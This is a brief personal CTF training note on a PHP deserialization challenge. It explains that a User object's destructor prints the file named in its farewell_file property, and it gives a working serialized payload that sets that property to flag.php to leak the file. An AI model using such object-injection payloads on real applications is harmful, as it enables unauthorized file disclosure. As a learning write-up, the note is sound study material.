Firebird - PHP Deserialization
Last updated
Last updated
tags: [[CTF]] [[firebird training]] [[PHP]]
New skills: Run php locally: php -S 127.0.0.1
with index.php
Solution:
When user object get destruct, it prints out the content for farewell_file
construct() is useless. It is not executed because we didn't call new User
O:4:"User":2:{s:8:"username";s:6:"stanly";s:13:"farewell_file";s:8:"flag.php";}
digits above means number of text characters